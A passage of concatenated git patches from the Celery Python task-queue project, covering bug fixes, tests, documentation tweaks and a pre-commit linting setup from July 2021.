+++ b/.github/workflows/changerelease.yml @@ -0,0 +1,32 @@ +name: changerelease +on: + workflow_dispatch: {} + push: + paths: [Changelog.rst] + branches: [master] + tags: ["*"] + +permissions: + contents: write + +jobs: + sync: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - uses: docker://pandoc/core:2.14 + with: + args: "Changelog.rst -f rst -t markdown -o CR_CHANGELOG.md" + - name: "Clean up markdown" + run: | + # https://stackoverflow.com/a/1252191/1110798 + cat CR_CHANGELOG.md + sed -i -e ':a' -e 'N' -e '$!ba' -e 's/release-date\n\n: /Release date: /g' CR_CHANGELOG.md + sed -i -e ':a' -e 'N' -e '$!ba' -e 's/release-by\n\n: /Release by: /g' CR_CHANGELOG.md + cat CR_CHANGELOG.md + - uses: dropseed/changerelease@v1 + with: + github_token: ${{ secrets.GITHUB_TOKEN }} + changelog: CR_CHANGELOG.md + remote_changelog: false + limit: -1 From 52b6238a87f80c3c63d79595deb375518af95372 Mon Sep 17 00:00:00 2001 From: ghoulmaster Date: Fri, 9 Jul 2021 01:26:04 -0400 Subject: [PATCH 276/415] Chords, get body_type independently to handle cases where body.type does not exist ... (#6847) * Get body_type independently to handle cases where body.type does not exist due to tasks being created via Signatures * body.get() was returning None always, must getattr() and catch the NotRegistered Error if the app that generated the task is not the app that owns the task * flake8 fix for too many blank lines --- celery/backends/base.py | 9 +++++++-- t/unit/backends/test_base.py | 15 +++++++++++++++ 2 files changed, 22 insertions(+), 2 deletions(-) diff --git a/celery/backends/base.py b/celery/backends/base.py index f7ef15f53de..fb1cc408d49 100644 --- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -644,8 +644,13 @@ def set_chord_size(self, group_id, chord_size): def fallback_chord_unlock(self, header_result, body, countdown=1, **kwargs): kwargs['result'] = [r.as_tuple() for r in header_result] - queue = body.options.get('queue', getattr(body.type, 'queue', None)) - priority = body.options.get('priority', getattr(body.type, 'priority', 0)) + try: + body_type = getattr(body, 'type', None) + except NotRegistered: + body_type = None + + queue = body.options.get('queue', getattr(body_type, 'queue', None)) + priority = body.options.get('priority', getattr(body_type, 'priority', 0)) self.app.tasks['celery.chord_unlock'].apply_async( (header_result.id, body,), kwargs, countdown=countdown, diff --git a/t/unit/backends/test_base.py b/t/unit/backends/test_base.py index 5d98877637d..5d04e8a7d03 100644 --- a/t/unit/backends/test_base.py +++ b/t/unit/backends/test_base.py @@ -220,6 +220,21 @@ def callback_queue(result): called_kwargs = self.app.tasks[unlock].apply_async.call_args[1] assert called_kwargs['queue'] == 'test_queue_two' + with self.Celery() as app2: + @app2.task(name='callback_different_app', shared=False) + def callback_different_app(result): + pass + + callback_different_app_signature = self.app.signature('callback_different_app') + self.b.apply_chord(header_result_args, callback_different_app_signature) + called_kwargs = self.app.tasks[unlock].apply_async.call_args[1] + assert called_kwargs['queue'] is None + + callback_different_app_signature.set(queue='test_queue_three') + self.b.apply_chord(header_result_args, callback_different_app_signature) + called_kwargs = self.app.tasks[unlock].apply_async.call_args[1] + assert called_kwargs['queue'] == 'test_queue_three' + class test_exception_pickle: def test_BaseException(self): From 1b67ccdaafd0bde67b46bc38827b3ef5f8b65444 Mon Sep 17 00:00:00 2001 From: Dash J <4606735+djungic@users.noreply.github.com> Date: Fri, 9 Jul 2021 16:49:31 +0100 Subject: [PATCH 277/415] Fix #6844 by allowing safe queries via app.inspect().active(). (#6849) * Fix #6844 by allowing safe (i.e. skip arg derserialization) queries via app.inspect().active(). * Fix default active arg test expectation. * Fix test asserting broken behaviour (arg/kwarg deserialization occuring when safe=True). Co-authored-by: Damir Jungic --- celery/app/control.py | 7 +++---- celery/worker/control.py | 4 ++-- celery/worker/request.py | 4 ++-- t/unit/app/test_control.py | 6 +++++- t/unit/worker/test_control.py | 14 ++++++++++++++ t/unit/worker/test_request.py | 4 ++-- 6 files changed, 28 insertions(+), 11 deletions(-) diff --git a/celery/app/control.py b/celery/app/control.py index 05b7012ac3d..742b5e5be3b 100644 --- a/celery/app/control.py +++ b/celery/app/control.py @@ -135,6 +135,8 @@ def clock(self): def active(self, safe=None): """Return list of tasks currently executed by workers. + Arguments: + safe (Boolean): Set to True to disable deserialization. Returns: Dict: Dictionary ``{HOSTNAME: [TASK_INFO,...]}``. @@ -142,11 +144,8 @@ def active(self, safe=None): See Also: For ``TASK_INFO`` details see :func:`query_task` return value. - Note: - ``safe`` is ignored since 4.0 as no objects will need - serialization now that we have argsrepr/kwargsrepr. """ - return self._request('active') + return self._request('active', safe=safe) def scheduled(self, safe=None): """Return list of scheduled tasks with details. diff --git a/celery/worker/control.py b/celery/worker/control.py index 9d8a6797dee..9dd00d22a97 100644 --- a/celery/worker/control.py +++ b/celery/worker/control.py @@ -362,9 +362,9 @@ def reserved(state, **kwargs): @inspect_command(alias='dump_active') -def active(state, **kwargs): +def active(state, safe=False, **kwargs): """List of tasks currently being executed.""" - return [request.info() + return [request.info(safe=safe) for request in state.tset(worker_state.active_requests)] diff --git a/celery/worker/request.py b/celery/worker/request.py index 1760fa489cf..7cdb87fe054 100644 --- a/celery/worker/request.py +++ b/celery/worker/request.py @@ -600,8 +600,8 @@ def info(self, safe=False): return { 'id': self.id, 'name': self.name, - 'args': self._args, - 'kwargs': self._kwargs, + 'args': self._args if not safe else self._argsrepr, + 'kwargs': self._kwargs if not safe else self._kwargsrepr, 'type': self._type, 'hostname': self._hostname, 'time_start': self.time_start, diff --git a/t/unit/app/test_control.py b/t/unit/app/test_control.py index 2a80138c09b..37fa3e8b2ae 100644 --- a/t/unit/app/test_control.py +++ b/t/unit/app/test_control.py @@ -95,7 +95,11 @@ def assert_broadcast_called(self, command, def test_active(self): self.inspect.active() - self.assert_broadcast_called('active') + self.assert_broadcast_called('active', safe=None) + + def test_active_safe(self): + self.inspect.active(safe=True) + self.assert_broadcast_called('active', safe=True) def test_clock(self): self.inspect.clock() diff --git a/t/unit/worker/test_control.py b/t/unit/worker/test_control.py index c2edc58696c..72ea98c4603 100644 --- a/t/unit/worker/test_control.py +++ b/t/unit/worker/test_control.py @@ -298,6 +298,20 @@ def test_active(self): finally: worker_state.active_requests.discard(r) + def test_active_safe(self): + kwargsrepr = '' + r = Request( + self.TaskMessage(self.mytask.name, id='do re mi', + kwargsrepr=kwargsrepr), + app=self.app, + ) + worker_state.active_requests.add(r) + try: + active_resp = self.panel.handle('dump_active', {'safe': True}) + assert active_resp[0]['kwargs'] == kwargsrepr + finally: + worker_state.active_requests.discard(r) + def test_pool_grow(self): class MockPool: diff --git a/t/unit/worker/test_request.py b/t/unit/worker/test_request.py index 176c88e21d7..9a6832bbd04 100644 --- a/t/unit/worker/test_request.py +++ b/t/unit/worker/test_request.py @@ -232,7 +232,7 @@ def test_info_function(self): kwargs[str(i)] = ''.join( random.choice(string.ascii_lowercase) for i in range(1000)) assert self.get_request( - self.add.s(**kwargs)).info(safe=True).get('kwargs') == kwargs + self.add.s(**kwargs)).info(safe=True).get('kwargs') == '' # mock message doesn't populate kwargsrepr assert self.get_request( self.add.s(**kwargs)).info(safe=False).get('kwargs') == kwargs args = [] @@ -240,7 +240,7 @@ def test_info_function(self): args.append(''.join( random.choice(string.ascii_lowercase) for i in range(1000))) assert list(self.get_request( - self.add.s(*args)).info(safe=True).get('args')) == args + self.add.s(*args)).info(safe=True).get('args')) == [] # mock message doesn't populate argsrepr assert list(self.get_request( self.add.s(*args)).info(safe=False).get('args')) == args From 5fd182417d9a6cb1b5aebe29916814d7a725e62a Mon Sep 17 00:00:00 2001 From: Konstantin Kochin Date: Sun, 11 Jul 2021 19:52:33 +0300 Subject: [PATCH 278/415] Fix multithreaded backend usage (#6851) * Add test of backend usage by threads Add simple test with embedded worker that checks backend instance usage by threads. According merge request #6416 backends should be thread local. * Fix backend captures in the `celery.app.trace.build_tracer` Fix backend capturing by closure during task creation in the function `celery.app.trace.build_tracer`, as different threads may create and use celery task. It complement changes in the pull request #6416. * Fix flake8 errors Fix flake8 errors from Celery/lint github workflow step --- CONTRIBUTORS.txt | 1 + celery/app/control.py | 1 + celery/app/trace.py | 11 ++-- t/unit/app/test_backends.py | 99 +++++++++++++++++++++++++++++++++++ t/unit/worker/test_request.py | 4 +- 5 files changed, 106 insertions(+), 10 deletions(-) diff --git a/CONTRIBUTORS.txt b/CONTRIBUTORS.txt index 17fe5d9442b..9a1f42338e8 100644 --- a/CONTRIBUTORS.txt +++ b/CONTRIBUTORS.txt @@ -282,3 +282,4 @@ Henrik Bruåsdal, 2020/11/29 Tom Wojcik, 2021/01/24 Ruaridh Williamson, 2021/03/09 Patrick Zhang, 2017/08/19 +Konstantin Kochin, 2021/07/11 diff --git a/celery/app/control.py b/celery/app/control.py index 742b5e5be3b..8bde53aebe1 100644 --- a/celery/app/control.py +++ b/celery/app/control.py @@ -135,6 +135,7 @@ def clock(self): def active(self, safe=None): """Return list of tasks currently executed by workers. + Arguments: safe (Boolean): Set to True to disable deserialization. diff --git a/celery/app/trace.py b/celery/app/trace.py index 9a56f870768..a5e3fc3f5a8 100644 --- a/celery/app/trace.py +++ b/celery/app/trace.py @@ -325,7 +325,6 @@ def build_tracer(name, task, loader=None, hostname=None, store_errors=True, fun = task if task_has_custom(task, '__call__') else task.run loader = loader or app.loader - backend = task.backend ignore_result = task.ignore_result track_started = task.track_started track_started = not eager and (task.track_started and not ignore_result) @@ -353,10 +352,6 @@ def build_tracer(name, task, loader=None, hostname=None, store_errors=True, if task_has_custom(task, 'after_return'): task_after_return = task.after_return - store_result = backend.store_result - mark_as_done = backend.mark_as_done - backend_cleanup = backend.process_cleanup - pid = os.getpid() request_stack = task.request_stack @@ -440,7 +435,7 @@ def trace_task(uuid, args, kwargs, request=None): args=args, kwargs=kwargs) loader_task_init(uuid, task) if track_started: - store_result( + task.backend.store_result( uuid, {'pid': pid, 'hostname': hostname}, STARTED, request=task_request, ) @@ -514,7 +509,7 @@ def trace_task(uuid, args, kwargs, request=None): parent_id=uuid, root_id=root_id, priority=task_priority ) - mark_as_done( + task.backend.mark_as_done( uuid, retval, task_request, publish_result, ) except EncodeError as exc: @@ -551,7 +546,7 @@ def trace_task(uuid, args, kwargs, request=None): pop_request() if not eager: try: - backend_cleanup() + task.backend.process_cleanup() loader_cleanup() except (KeyboardInterrupt, SystemExit, MemoryError): raise diff --git a/t/unit/app/test_backends.py b/t/unit/app/test_backends.py index a87f9665053..df4e47af772 100644 --- a/t/unit/app/test_backends.py +++ b/t/unit/app/test_backends.py @@ -1,10 +1,87 @@ +import threading +from contextlib import contextmanager from unittest.mock import patch import pytest +import celery.contrib.testing.worker as contrib_embed_worker from celery.app import backends from celery.backends.cache import CacheBackend from celery.exceptions import ImproperlyConfigured +from celery.utils.nodenames import anon_nodename + + +class CachedBackendWithTreadTrucking(CacheBackend): + test_instance_count = 0 + test_call_stats = {} + + def _track_attribute_access(self, method_name): + cls = type(self) + + instance_no = getattr(self, '_instance_no', None) + if instance_no is None: + instance_no = self._instance_no = cls.test_instance_count + cls.test_instance_count += 1 + cls.test_call_stats[instance_no] = [] + + cls.test_call_stats[instance_no].append({ + 'thread_id': threading.get_ident(), + 'method_name': method_name + }) + + def __getattribute__(self, name): + if name == '_instance_no' or name == '_track_attribute_access': + return super().__getattribute__(name) + + if name.startswith('__') and name != '__init__': + return super().__getattribute__(name) + + self._track_attribute_access(name) + return super().__getattribute__(name) + + +@contextmanager +def embed_worker(app, + concurrency=1, + pool='threading', **kwargs): + """ + Helper embedded worker for testing. + + It's based on a :func:`celery.contrib.testing.worker.start_worker`, + but doesn't modifies logging settings and additionally shutdown + worker pool. + """ + # prepare application for worker + app.finalize() + app.set_current() + + worker = contrib_embed_worker.TestWorkController( + app=app, + concurrency=concurrency, + hostname=anon_nodename(), + pool=pool, + # not allowed to override TestWorkController.on_consumer_ready + ready_callback=None, + without_heartbeat=kwargs.pop("without_heartbeat", True), + without_mingle=True, + without_gossip=True, + **kwargs + ) + + t = threading.Thread(target=worker.start, daemon=True) + t.start() + worker.ensure_started() + + yield worker + + worker.stop() + t.join(10.0) + if t.is_alive(): + raise RuntimeError( + "Worker thread failed to exit within the allocated timeout. " + "Consider raising `shutdown_timeout` if your tasks take longer " + "to execute." + ) class test_backends: @@ -35,3 +112,25 @@ def test_sym_raises_ValuError(self, app): def test_backend_can_not_be_module(self, app): with pytest.raises(ImproperlyConfigured): backends.by_name(pytest, app.loader) + + @pytest.mark.celery( + result_backend=f'{CachedBackendWithTreadTrucking.__module__}.' + f'{CachedBackendWithTreadTrucking.__qualname__}' + f'+memory://') + def test_backend_thread_safety(self): + @self.app.task + def dummy_add_task(x, y): + return x + y + + with embed_worker(app=self.app, pool='threads'): + result = dummy_add_task.delay(6, 9) + assert result.get(timeout=10) == 15 + + call_stats = CachedBackendWithTreadTrucking.test_call_stats + # check that backend instance is used without same thread + for backend_call_stats in call_stats.values(): + thread_ids = set() + for call_stat in backend_call_stats: + thread_ids.add(call_stat['thread_id']) + assert len(thread_ids) <= 1, \ + "The same celery backend instance is used by multiple threads" diff --git a/t/unit/worker/test_request.py b/t/unit/worker/test_request.py index 9a6832bbd04..8e6e92d63ee 100644 --- a/t/unit/worker/test_request.py +++ b/t/unit/worker/test_request.py @@ -232,7 +232,7 @@ def test_info_function(self): kwargs[str(i)] = ''.join( random.choice(string.ascii_lowercase) for i in range(1000)) assert self.get_request( - self.add.s(**kwargs)).info(safe=True).get('kwargs') == '' # mock message doesn't populate kwargsrepr + self.add.s(**kwargs)).info(safe=True).get('kwargs') == '' # mock message doesn't populate kwargsrepr assert self.get_request( self.add.s(**kwargs)).info(safe=False).get('kwargs') == kwargs args = [] @@ -240,7 +240,7 @@ def test_info_function(self): args.append(''.join( random.choice(string.ascii_lowercase) for i in range(1000))) assert list(self.get_request( - self.add.s(*args)).info(safe=True).get('args')) == [] # mock message doesn't populate argsrepr + self.add.s(*args)).info(safe=True).get('args')) == [] # mock message doesn't populate argsrepr assert list(self.get_request( self.add.s(*args)).info(safe=False).get('args')) == args From 044cebaa533db7629670db1fdb3173e0951522af Mon Sep 17 00:00:00 2001 From: "Lewis M. Kabui" <13940255+lewisemm@users.noreply.github.com> Date: Tue, 13 Jul 2021 10:11:44 +0300 Subject: [PATCH 279/415] Fix Open Collective donate button (#6848) * Fix Open Collective donate button Fixes #6828 * Use OpenCollective anchor button - Replace OpenCollective button script with an tag. The button script imposes a fixed width of 300px which makes it too big and out of place relative to neighbouring HTML elements. Co-authored-by: Lewis Kabui --- docs/_templates/sidebardonations.html | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/docs/_templates/sidebardonations.html b/docs/_templates/sidebardonations.html index 9049cab2cab..2eebc8ec0bc 100644 --- a/docs/_templates/sidebardonations.html +++ b/docs/_templates/sidebardonations.html @@ -1,8 +1,9 @@ -

 From 7b5a44d646f43288fb546da10a1141347b01543b Mon Sep 17 00:00:00 2001 From: Alejandro Solda <43531535+alesolda@users.noreply.github.com> Date: Sun, 11 Jul 2021 23:15:34 -0300 Subject: [PATCH 280/415] Fix setting worker concurrency option after signal Allow to set "worker_concurrency" option through "user_preload_options" signal mechanism. Current behaviour: 1. "click.option" decorator for "--concurrency" option is executed, its callback returns "0" when evaluating "value or ctx.obj.app.conf.worker_concurrency" (None or 0). This default "0" comes from "app.defaults". 2. Celery "user_preload_options" signal is processed, then "app.conf.worker_concurrency" value is correctly updated through "Settings.update". 3. Celery "worker.worker.WorkController.setup_defaults" kicks off and "concurrency" attribute is resolved with "either('worker_concurrency', concurrency)" 4. "either" method (app.base) chains calls to "first" function with "None" as predicate (returns the first item that's not "None"), in our case "first(None, defaults)" (defaults=(0,)) will take precedence and and "0" will be returned, whatever value is in "app.conf.worker_concurrency". This fix changes "worker_concurrency" default from "0" to "None" allowing "either" method to correctly resolve in favor of "app.conf.worker_concurrency" value. The final value used as concurrency is resolved in "worker.worker" with conditional "if not self.concurrency" thus having "None" as default value for "self.concurrency" doesn't break things. Fixes #6836 --- celery/app/defaults.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/celery/app/defaults.py b/celery/app/defaults.py index 1883f2565bb..70f4fb8b0ac 100644 --- a/celery/app/defaults.py +++ b/celery/app/defaults.py @@ -294,7 +294,7 @@ def __repr__(self): cancel_long_running_tasks_on_connection_loss=Option( False, type='bool' ), - concurrency=Option(0, type='int'), + concurrency=Option(None, type='int'), consumer=Option('celery.worker.consumer:Consumer', type='string'), direct=Option(False, type='bool', old={'celery_worker_direct'}), disable_rate_limits=Option( From ca489c6f7767ed796bce10400321fe08b4820c0c Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 14 Jul 2021 03:18:18 +0300 Subject: [PATCH 281/415] Make ``ResultSet.on_ready`` promise hold a weakref to self. (#6784) --- celery/result.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/celery/result.py b/celery/result.py index 0c10d58e86c..d8d7d1685c5 100644 --- a/celery/result.py +++ b/celery/result.py @@ -2,6 +2,7 @@ import datetime import time +from weakref import proxy from collections import deque from contextlib import contextmanager @@ -535,7 +536,7 @@ class ResultSet(ResultBase): def __init__(self, results, app=None, ready_barrier=None, **kwargs): self._app = app self.results = results - self.on_ready = promise(args=(self,)) + self.on_ready = promise(args=(proxy(self),)) self._on_full = ready_barrier or barrier(results) if self._on_full: self._on_full.then(promise(self._on_ready, weak=True)) From 2dfb6fb3c9b8a0908c908a0d93e79fba90f02c5d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Przemys=C5=82aw=20=C5=81ada?= Date: Mon, 19 Jul 2021 12:17:22 +0200 Subject: [PATCH 282/415] Update configuration.rst Update default `worker_task_log_format` value --- docs/userguide/configuration.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index 739dc5680c4..14fa89df2ca 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -3006,7 +3006,7 @@ Default: .. code-block:: text "[%(asctime)s: %(levelname)s/%(processName)s] - [%(task_name)s(%(task_id)s)] %(message)s" + %(task_name)s[%(task_id)s]: %(message)s" The format to use for log messages logged in tasks. From 41b2d2e50205b92bab08a2401c104c2cb818bdd4 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 20 Jul 2021 02:04:21 +0300 Subject: [PATCH 283/415] Discard jobs on flush if synack isn't enabled. (#6863) Fixes #6855. A connection loss flushes the asynpool (See https://github.com/celery/celery/blob/117cd9ca410e8879f71bd84be27b8e69e462c56a/celery/worker/consumer/consumer.py#L414). This is expected as these jobs cannot be completed anymore. However, jobs which have not been accepted yet (that is, they are not running yet) are cancelled. This only works if the synack keyword argument is set to True. In our case, it isn't and therefore the jobs remain in the pool's cache forever. This is a memory leak which we have now resolved by discarding the job (which clears it from the cache) as they will never be cancelled. --- celery/concurrency/asynpool.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/celery/concurrency/asynpool.py b/celery/concurrency/asynpool.py index f4d1c475a8e..c6612aff64f 100644 --- a/celery/concurrency/asynpool.py +++ b/celery/concurrency/asynpool.py @@ -978,10 +978,14 @@ def _write_ack(fd, ack, callback=None): def flush(self): if self._state == TERMINATE: return - # cancel all tasks that haven't been accepted so that NACK is sent. - for job in self._cache.values(): + # cancel all tasks that haven't been accepted so that NACK is sent + # if synack is enabled. + for job in tuple(self._cache.values()): if not job._accepted: - job._cancel() + if self.synack: + job._cancel() + else: + job.discard() # clear the outgoing buffer as the tasks will be redelivered by # the broker anyway. From f462a437e3371acb867e94b52c2595b6d0a742d8 Mon Sep 17 00:00:00 2001 From: Thomas Grainger Date: Tue, 20 Jul 2021 08:11:10 +0100 Subject: [PATCH 284/415] apply pre-commit (#6862) * configure pre-commit (from twisted) * remove black * run pre-commit in ci * configure isort with pre-commit * configure pre-commit in tox * allow E203 for black support in the future * update contributing guide * apply pyupgrade * apply isort * apply yes-qa --- .github/workflows/lint_python.yml | 4 +--- .github/workflows/python-package.yml | 4 ++-- .pre-commit-config.yaml | 31 +++++++++++++++++++++----- CONTRIBUTING.rst | 7 +++--- celery/__init__.py | 14 ++++++------ celery/_state.py | 8 +++---- celery/app/amqp.py | 2 +- celery/app/base.py | 4 ++-- celery/app/log.py | 2 +- celery/app/task.py | 4 ++-- celery/app/trace.py | 2 +- celery/apps/beat.py | 2 +- celery/backends/arangodb.py | 2 +- celery/backends/base.py | 4 ++-- celery/backends/cache.py | 4 ++-- celery/backends/cassandra.py | 2 +- celery/backends/cosmosdbsql.py | 2 +- celery/backends/couchdb.py | 4 ++-- celery/backends/dynamodb.py | 2 +- celery/backends/elasticsearch.py | 4 ++-- celery/backends/mongodb.py | 10 ++++----- celery/backends/redis.py | 4 ++-- celery/beat.py | 2 +- celery/canvas.py | 4 ++-- celery/concurrency/asynpool.py | 4 ++-- celery/concurrency/eventlet.py | 6 ++--- celery/concurrency/gevent.py | 2 +- celery/events/state.py | 4 ++-- celery/exceptions.py | 4 ++-- celery/fixups/django.py | 2 +- celery/platforms.py | 12 +++++----- celery/result.py | 6 ++--- celery/schedules.py | 2 +- celery/security/__init__.py | 2 +- celery/utils/collections.py | 10 ++++----- celery/utils/debug.py | 2 +- celery/utils/saferepr.py | 2 +- celery/utils/serialization.py | 4 ++-- celery/utils/sysinfo.py | 2 +- celery/utils/threads.py | 10 ++++----- celery/worker/request.py | 6 ++--- celery/worker/state.py | 4 ++-- celery/worker/worker.py | 2 +- examples/celery_http_gateway/manage.py | 2 +- examples/celery_http_gateway/urls.py | 3 +-- examples/django/demoapp/models.py | 2 +- examples/django/demoapp/tasks.py | 3 ++- examples/django/proj/wsgi.py | 2 +- examples/eventlet/webcrawler.py | 6 ++--- setup.cfg | 1 + t/benchmarks/bench_worker.py | 8 +++---- t/distro/test_CI_reqs.py | 2 +- t/integration/test_canvas.py | 2 +- t/unit/backends/test_arangodb.py | 2 +- t/unit/backends/test_couchbase.py | 2 +- t/unit/backends/test_couchdb.py | 2 +- t/unit/backends/test_dynamodb.py | 2 +- t/unit/concurrency/test_prefork.py | 4 ++-- t/unit/conftest.py | 2 +- t/unit/contrib/test_sphinx.py | 1 - t/unit/utils/test_dispatcher.py | 4 ++-- t/unit/utils/test_functional.py | 6 ++--- t/unit/utils/test_platforms.py | 2 +- t/unit/worker/test_control.py | 2 +- tox.ini | 8 +++---- 65 files changed, 149 insertions(+), 133 deletions(-) diff --git a/.github/workflows/lint_python.yml b/.github/workflows/lint_python.yml index 5dd37639e08..8c262d25569 100644 --- a/.github/workflows/lint_python.yml +++ b/.github/workflows/lint_python.yml @@ -6,14 +6,12 @@ jobs: steps: - uses: actions/checkout@v2 - uses: actions/setup-python@v2 + - uses: pre-commit/action@v2.0.3 - run: pip install --upgrade pip wheel - run: pip install bandit codespell flake8 isort pytest pyupgrade tox - run: bandit -r . || true - run: codespell --ignore-words-list="brane,gool,ist,sherif,wil" --quiet-level=2 --skip="*.key" || true - - run: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics - - run: isort . || true - run: pip install -r requirements.txt || true - run: tox || true - run: pytest . || true - run: pytest --doctest-modules . || true - - run: shopt -s globstar && pyupgrade --py36-plus **/*.py || true diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 3f74d81eda7..42c56683e4a 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -74,5 +74,5 @@ jobs: with: { python-version: 3.9 } - name: Install tox run: python -m pip install tox - - name: Lint with flake8 - run: tox --verbose -e flake8 + - name: Lint with pre-commit + run: tox --verbose -e lint diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 5939ad63655..057c78f4787 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,10 +1,29 @@ repos: -- repo: https://github.com/ambv/black - rev: stable + - repo: https://github.com/asottile/pyupgrade + rev: v2.21.2 hooks: - - id: black - language_version: python3.7 -- repo: https://github.com/pre-commit/pre-commit-hooks + - id: pyupgrade + args: ["--py36-plus"] + + - repo: https://gitlab.com/pycqa/flake8 + rev: 3.9.2 + hooks: + - id: flake8 + + - repo: https://github.com/asottile/yesqa rev: v1.2.3 hooks: - - id: flake8 + - id: yesqa + + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.0.1 + hooks: + - id: check-merge-conflict + - id: check-toml + - id: check-yaml + - id: mixed-line-ending + + - repo: https://github.com/pycqa/isort + rev: 5.9.2 + hooks: + - id: isort diff --git a/CONTRIBUTING.rst b/CONTRIBUTING.rst index a774377243a..5e51b3083f5 100644 --- a/CONTRIBUTING.rst +++ b/CONTRIBUTING.rst @@ -830,14 +830,13 @@ make it easier for the maintainers to accept your proposed changes: ``pytest -xv --cov=celery --cov-report=xml --cov-report term``. You can check the current test coverage here: https://codecov.io/gh/celery/celery -- [ ] Run ``flake8`` against the code. The following commands are valid +- [ ] Run ``pre-commit`` against the code. The following commands are valid and equivalent.: .. code-block:: console - $ flake8 -j 2 celery/ t/ - $ make flakecheck - $ tox -e flake8 + $ pre-commit run --all-files + $ tox -e lint - [ ] Build api docs to make sure everything is OK. The following commands are valid and equivalent.: diff --git a/celery/__init__.py b/celery/__init__.py index ae287ea2530..1169a2d55f1 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -13,7 +13,7 @@ from collections import namedtuple # Lazy loading -from . import local # noqa +from . import local SERIES = 'sun-harmonics' @@ -65,15 +65,15 @@ def debug_import(name, locals=None, globals=None, STATICA_HACK = True globals()['kcah_acitats'[::-1].upper()] = False if STATICA_HACK: # pragma: no cover - from celery._state import current_app, current_task # noqa - from celery.app import shared_task # noqa - from celery.app.base import Celery # noqa - from celery.app.task import Task # noqa - from celery.app.utils import bugreport # noqa + from celery._state import current_app, current_task + from celery.app import shared_task + from celery.app.base import Celery + from celery.app.task import Task + from celery.app.utils import bugreport from celery.canvas import (chain, chord, chunks, group, # noqa maybe_signature, signature, subtask, xmap, xstarmap) - from celery.utils import uuid # noqa + from celery.utils import uuid # Eventlet/gevent patching must happen before importing # anything else, so these tools must be at top-level. diff --git a/celery/_state.py b/celery/_state.py index 0e671151685..5d3ed5fc56f 100644 --- a/celery/_state.py +++ b/celery/_state.py @@ -109,9 +109,9 @@ def get_current_app(): """Return the current app.""" raise RuntimeError('USES CURRENT APP') elif os.environ.get('C_WARN_APP'): # pragma: no cover - def get_current_app(): # noqa + def get_current_app(): import traceback - print('-- USES CURRENT_APP', file=sys.stderr) # noqa+ + print('-- USES CURRENT_APP', file=sys.stderr) # + traceback.print_stack(file=sys.stderr) return _get_current_app() else: @@ -168,12 +168,12 @@ def _app_or_default_trace(app=None): # pragma: no cover current_process = None if app is None: if getattr(_tls, 'current_app', None): - print('-- RETURNING TO CURRENT APP --') # noqa+ + print('-- RETURNING TO CURRENT APP --') # + print_stack() return _tls.current_app if not current_process or current_process()._name == 'MainProcess': raise Exception('DEFAULT APP') - print('-- RETURNING TO DEFAULT APP --') # noqa+ + print('-- RETURNING TO DEFAULT APP --') # + print_stack() return default_app return app diff --git a/celery/app/amqp.py b/celery/app/amqp.py index a574b2dd792..12a511d75fd 100644 --- a/celery/app/amqp.py +++ b/celery/app/amqp.py @@ -558,7 +558,7 @@ def queues(self): """Queue name⇒ declaration mapping.""" return self.Queues(self.app.conf.task_queues) - @queues.setter # noqa + @queues.setter def queues(self, queues): return self.Queues(queues) diff --git a/celery/app/base.py b/celery/app/base.py index 47570763075..f9ac8c18818 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -1239,7 +1239,7 @@ def conf(self): return self._conf @conf.setter - def conf(self, d): # noqa + def conf(self, d): self._conf = d @cached_property @@ -1301,4 +1301,4 @@ def timezone(self): return timezone.get_timezone(conf.timezone) -App = Celery # noqa: E305 XXX compat +App = Celery # XXX compat diff --git a/celery/app/log.py b/celery/app/log.py index 7e036746cc0..01b45aa4ae1 100644 --- a/celery/app/log.py +++ b/celery/app/log.py @@ -245,6 +245,6 @@ def get_default_logger(self, name='celery', **kwargs): def already_setup(self): return self._setup - @already_setup.setter # noqa + @already_setup.setter def already_setup(self, was_setup): self._setup = was_setup diff --git a/celery/app/task.py b/celery/app/task.py index 1e50e613b58..726bb103fe7 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -1073,7 +1073,7 @@ def backend(self): return backend @backend.setter - def backend(self, value): # noqa + def backend(self, value): self._backend = value @property @@ -1081,4 +1081,4 @@ def __name__(self): return self.__class__.__name__ -BaseTask = Task # noqa: E305 XXX compat alias +BaseTask = Task # XXX compat alias diff --git a/celery/app/trace.py b/celery/app/trace.py index a5e3fc3f5a8..ad2bd581dbb 100644 --- a/celery/app/trace.py +++ b/celery/app/trace.py @@ -316,7 +316,7 @@ def build_tracer(name, task, loader=None, hostname=None, store_errors=True, :keyword request: Request dict. """ - # noqa: C901 + # pylint: disable=too-many-statements # If the task doesn't define a custom __call__ method diff --git a/celery/apps/beat.py b/celery/apps/beat.py index 41437718e9c..8652c62730a 100644 --- a/celery/apps/beat.py +++ b/celery/apps/beat.py @@ -111,7 +111,7 @@ def start_scheduler(self): def banner(self, service): c = self.colored - return str( # flake8: noqa + return str( c.blue('__ ', c.magenta('-'), c.blue(' ... __ '), c.magenta('-'), c.blue(' _\n'), diff --git a/celery/backends/arangodb.py b/celery/backends/arangodb.py index 8297398a6c2..1cd82078070 100644 --- a/celery/backends/arangodb.py +++ b/celery/backends/arangodb.py @@ -17,7 +17,7 @@ from pyArango import connection as py_arango_connection from pyArango.theExceptions import AQLQueryError except ImportError: - py_arango_connection = AQLQueryError = None # noqa + py_arango_connection = AQLQueryError = None __all__ = ('ArangoDbBackend',) diff --git a/celery/backends/base.py b/celery/backends/base.py index fb1cc408d49..71ca218d56e 100644 